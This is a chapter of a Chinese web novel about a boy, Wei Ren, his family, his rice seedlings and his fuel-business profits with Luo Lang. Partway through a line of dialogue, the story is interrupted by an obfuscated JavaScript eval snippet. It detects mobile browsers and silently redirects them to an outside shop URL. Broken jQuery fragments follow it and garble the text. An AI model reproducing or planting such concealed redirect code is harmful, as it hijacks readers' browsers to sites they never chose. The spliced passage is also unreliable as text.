赵氏不止自己不吃,听说韦仁已经吃过三只煎结了龟后,她还不许韦仁继续吃了。
赵氏倒不是恶心韦仁吃虫子这件事,虽然也不是很喜欢,不过最重要的是,韦仁身子娇贵,煎炸的和炙烤的菜色她就很少允许韦仁吃。
韦仁也不敢多吃,但他觉得自己吃上五六个还是可以的,但赵氏坚决不许,最后甚至看着沈决明吃完那五只结了龟后才算完。
韦仁被打击的小心灵最终是被韦玄成和声称不吃结了龟的许靖给治愈的,两个人喝着小酒就把剩下的二十多只结了龟给吃完了。
韦世然也就捞到一只尝尝味道,他倒是觉得口感不坏,不过比起结了龟这种不好看的虫子肉,韦世然还是喜欢一口下去就能塞满嘴巴的寻常肉类。
虽然韦世然不够捧场,韦仁对自家大兄却没有一点儿怨怪之情,因为他发现,韦世然特别招蚊子!在家里还不明显,昨天二人一起出门遛弯,韦世然的手、脸和脖子被叮了十一个包,而韦仁全身上下只有左手手腕处被叮了一个包,还不是很痒的那种。
韦世然大概率不是唯一吸引“火力”的那个人,但韦仁依然对他产生了浓厚的感激之情,并不厚道地决定,以后必须去蚊虫多的地方时尽量带上自家大兄!
韦仁下午跟着韦世然去自家田地看了看,又去附近的土坡上摘了许多野花野草,就带着沈决明抓到的那笼麻雀心满意足地随家人一起返程了。
韦玄成和赵氏看韦仁这举动真是又发愁又欣慰,发愁是韦仁真是什么都敢吃,欣慰是韦仁虽然挑食,但其实什么都吃,只是吃多吃少的区别。
韦玄成捏着韦仁的脸颊调侃他:“听说南面的蛮人还会吃蝎子蜈蚣什么的,你也不差,不知道你哪天是不是就要吃老鼠了?”
韦仁还真知道一道名为“三吱儿”的老鼠菜,不过他不吃活物,也不食生,所以没吃过,闻言,韦仁就看着韦玄成认真地说:“哪天阿翁想吃,我就去抓给阿翁吃,抓最大最肥的。”
韦玄成被恶心得够呛,笑骂:“你留着自己吃吧!”
一家人回到韦宅后各自安顿,韦仁和韦世然才走到君子院门口,就看到负责留守以及看护秧苗的毋忧正候在那里。
韦仁不禁问道:“怎么等在这里?”
毋忧难得满脸愁容地看着韦仁:“五郎君,那些秧苗,我觉得不太对劲。”
韦仁的心脏瞬间提起来了,忙加快步子往里走,一边走一边问:“怎么了?不会是烂根了吧?”韦仁一向认为根是植物的命门,听名字就知道,“根”坏了,一切就都完了。
“应该不是,叶子还是绿的,只是有好几个木桶里的水突然长了好多藻,我也不敢动它们,就是看着怪怪的,也不知道对秧苗有什么影响。”
韦仁脑海里开始思索关于水藻的知识,脚步不知不觉就缓了下来,直到走到那些秧苗面前,韦仁踮起脚尖看向木桶内的水,水中果然漂浮着成片的浅绿色的水藻。
韦世然也跟着来了,看到水藻后,嫌恶地咧了咧嘴:“看起来好脏呀,五郎,要不要把它们捞出来?我觉得秧苗不会喜欢它们。”
“唔……按理说,应该是不讨厌的。”韦仁理智上明白水藻释放氧气之类的作用应该对秧苗有好处,但他也拿不准水稻是不是真的会喜欢,咬着嘴唇,韦仁犹豫了半天,才说道,“观察两天,只要水藻不变成深绿色,就先不管。”
毋忧见韦仁拿定主意就放下了心,韦仁自己却是提着半颗心,忍不住“啧”了一声,一巴掌呼上自己的脑门:光顾着玩儿了,应该和牛实打听打听,聚里有没有人种过稻子的。
之后几日,韦仁都紧盯着那些水藻,水藻的颜色一直保持着健康的颜色,而秧苗们也都保持着同样健康的绿色,韦仁另一半的心才放下来:水藻是好的,是受到欢迎的。
谁想,又过了一个休沐日后,那些水藻突然以极快的速度消失了。看着清可见底的浅浅水层,韦仁的心情就别提了,真是应了那句“失去时才知道珍惜”!
不过,韦仁的心情也只低落了几天,因为罗朗来找他了!带着五铢钱来找他了!
韦世然之前和韦玄成拜访过罗夏归后,就与罗夏归约定,他每三天来一次韦家教习韦世然射箭,罗朗就是跟着罗夏归一起来的。
韦仁因为每日放学后要帮戚先生做事,等他到家从赵氏那里得知罗朗来找他时,罗朗已经在君子院中等了他小半个时辰。
韦仁回到君子院时,罗夏归正把着韦世然的手臂纠正他射箭的姿势,而罗朗则盘腿坐在正屋的檐廊下,有些无聊地看着两个人。
直到毋忧唤了一声“五郎君”,罗朗的眼睛才聚焦并看向了院门,与韦仁含笑的眼睛对上视线后,罗朗的表情也生动起来,趿拉上木屐,罗朗就向着韦仁走了过来:“阿仁,你可回来了!”
韦仁也快速上前,与罗朗互相致礼,然后又对韦世然和罗夏归打了声招呼,韦仁才重新看向罗朗,又向罗朗揖了一礼:“让罗大兄久等了,我若知道你来找我,该早点儿回来的。”
罗朗亲热地拍拍韦仁的肩膀:“这有什么,本就该给你递谒的,不过我想给你个惊喜,就贸然跟着夏归兄来了,你不怪才好。”
韦仁一边与罗朗寒暄,一边将罗朗向西厢引,听到这话,狡黠一笑:“我才不怪呢,看罗大兄红光满面的样子,就知道是个大好消息,弟弟已经听到铜钱声啦!”
罗朗哈哈大笑:“阿仁一猜就中!”
罗朗对候在旁侧的僮人招了招手,那僮人就将怀里的一个木盒递给罗朗,韦仁也趁着这个空挡吩咐毋忧:“去东厨说一声,给罗大兄额外准备一道葫蓉菠薐和三十串燔炙羊肉。”
罗朗有些意外:“你怎么知道我喜欢菠薐的?”之前韦仁来罗家用的午食中可没有这道菜。
“我也忘了是哪天,和夏归兄一起用晚食时,他说你和另外一房的姊姊很喜欢食菠薐,听说周伯母还特意为兄在家辟了一片地种菠薐。”
任谁被人着意记在心里都会感到高兴,罗朗也不能免俗,不由笑道:“阿仁可真是个仔细人。”
待到沈决明端来了茶果,韦仁又让了罗朗一回,二人才开始说今日的正题。
“这是好燃又干净的蜂窝柴这个月的盈余。”因为韦仁每次都坚持说全名,罗朗便也这样说,罗朗将手旁的盒子推向韦仁,“其实我该早些过来,不过上个月只剩几日,我就都算到这个月了,你看一看。”
盒子没有锁,韦仁直接掀开盒盖,果然见到里面是一串串用麻绳绑好的五铢钱,钱上面是几片竹简,记录着购买人和贩售的数量以及价格。
罗朗指着其中两家说:“我和他们有合作,一个是三月一结,一个是半年一结,他们两家的钱我先垫给你,之后你这边看总账时,这里可能对不上。”
韦仁拿钱也是准备去分期的,可不想先被赊账,对罗朗的做法十分欣赏:“多谢罗大兄照顾,我就不客气了,说实话,我也是等钱用的。”
罗朗很意外:“你是有什么事急着用钱?”
韦仁面露羞涩:“现在还不能说,反正我要给阿翁阿母一个惊喜,到时候罗大兄你就知道了。”韦仁竖起一根手指比了个“嘘”,“我只与罗大兄你说,你千万为我保密。”
罗朗是真惊讶,他发现他对韦仁的认识又要刷新了,“孝”可是现今的意识主流,“聪明会赚钱”和“为了让父母高兴而赚钱”完全是两种层级的品质。
罗朗目露赞赏:“阿仁纯孝!”
瞧,连夸奖的方向都变了。
韦仁挠了挠脸颊:“我阿母还不知道呐,她不想我在钱上花费精力。”说着,韦仁轻轻叹口气,“我也不想罗大兄你觉得我是缺钱才想法子赚钱的,没忍住就和你说了,你可一定要为我保密啊。”
韦仁这样狡黠里透着实在的话让罗朗对韦仁又亲近几分,看着韦仁伸过来的小拇指,罗朗一边乐一边勾上去:“放心,我连家父也不说。”说着,罗朗点点盒子,“你清点一下,别错了数目。”
韦仁没有数,而是拉了铃铛,待沈决明走进来后,直接吩咐道:“写两份收款契据,好燃又干净的蜂窝柴的盈利,一共1334铜钱。”
等到沈决明写完,韦仁在一对并列的两片竹简背面用丑不拉几的大字写了自己的名字,然后从每对竹简中挑了一支一起递给罗朗:“兄收好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318364|138206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
罗朗接过竹简,玩笑道:“真不数一数?阿仁你可是个谨慎人呐。”
韦仁眨眨眼睛:“等兄走了我再数,要是少了一枚,我会直接去找罗伯伯评理的。”
罗朗大笑,顺了一把耳后的头发,说道:“阿仁,今天除了来给你送这个月的盈利外,我还有事想与你商量。”
“兄尽管说。”韦仁也猜到罗朗另外有事,不然罗朗完全没必要亲自前来。
“你之前说,干粪燃烧后的残渣可能可以当作肥料,我也想试试。”罗朗神情整肃,“只是,耕种这事,真正在行的都是些老农,他们能知道明天是刮风还是下雨,能知道哪些土能长出好庄稼,但让他们说说怎么去验证那些肥料能不能用、效果几何就不行了。”
罗朗有些无奈:“读书人聪明,对一件事,哪怕不懂也知道怎么想办法,但读书人很少会亲自下地耕种,我不信有人凭空就能知道如何种好地,而那些天天忙于稼穑的农人可没条件读书。”
韦仁点头,表示同意。
别看朝廷拼命打压商人抬高农人,也多有读书人说“商贾贱业”、“农为国之本”之类的大道理,但这两种人哪个过得苦大家心里都有数。韦玄成认识那么多读书人,手里有土地的人不少,但真正会亲历亲为去实践耕种之事的也只有一个凡愿而已。
“你可能听说过,我有个从弟对耕种之事也颇为上心,我自己是不懂稼穑之事的,所以想把研究粪肥的事交给他。”罗朗挺直腰背,郑重邀请,“不知阿仁你可愿意与我们一起?”
“我对种地还算有兴趣,不过我没什么时间。”韦庄行让韦仁明白,哪怕韦玄成现在就送他一个畜牧场,他也是没空管理的,至少要学会骑马,他才可能频繁来往城聚。
“我可不敢耽误你的学业,种地不是一日半日的事,也不是说阿仁你就得事事盯着,我是希望,你能参与进来,那些畜粪到底要怎么用,咱们一起商量出一个章程,之后实施时,若遇到问题,望阿仁不吝指教。”罗朗顺口又夸了韦仁一句,“你那些稻米就种得极好,咱们这边还没人种过这个,阿仁你真是敢想敢干!”
“罗大兄,你再夸我,我对农事也是一知半解,不对,连半解都算不上,我都是听先生和凡师伯指导,自己闹着玩儿的。”韦仁可不敢咣当这半瓶子醋,种地的时间成本极高,错一次,或者运气坏一点,那浪费的就是大半年的光景,韦仁只为自己负责,可负责不了其他人。
罗朗原以为韦仁是打算在粪肥上的事也与他合作的,如今才明白,韦仁给他出了主意没错,却是打算“各玩各的”。
那怎么行?冲着那位先师讲堂里的师伯就不行呀!
“能‘知’一点就很好了,我主要是觉得阿仁你脑子活,不像我们,年纪越大越是不敢想。”罗朗探身拉过韦仁的小手,满含“深情”地说,“往小里说,我这是希望家里的土地能多种出些粮食,往大里说,若能做出些成效,那是惠及咱们鲁国所有的农人呐!”
韦仁看着罗朗洋溢着热情和野心的牛眼,嘴角抽了抽:“可咱们都要吃饭,我自己瞎折腾不怕什么,万一祸祸了土地……有时候少一石粮食可能就是数条人命的事,长辈们一直训诫,要我行事谨慎的。”
“那人也不能怕噎死就不吃饭呀。”罗朗目光炯炯地盯着韦仁,“阿仁,我与你实说,我已经做好十年无果的准备!”
罗朗若真能如此践行,倒真是有大魄力了!韦仁不由也慎重起来,沉吟片刻后说道:“兄既有此心,我考虑一下。”
罗朗立马笑出两排大白牙:“敬候佳音!”
晚上韦仁和韦世然一起将罗朗和罗夏归送至大门口,目送他们骑马离开,消失到巷口后,韦仁脸上的笑容就淡了下来,不要说毋忧这种细心人,连韦世然都看出来了。
韦世然问道:“五郎,你怎么了?”
韦仁揉了揉脸颊:“笑太多了,脸酸。”
韦世然捏了捏韦仁的脸颊:“你干嘛对罗大兄那么热情?你们才第二次见面。”
“他给我送钱来了,能不热情吗?”韦仁扯下韦世然的手,反手拉住他就往自己的屋子跑:“走!分钱去!”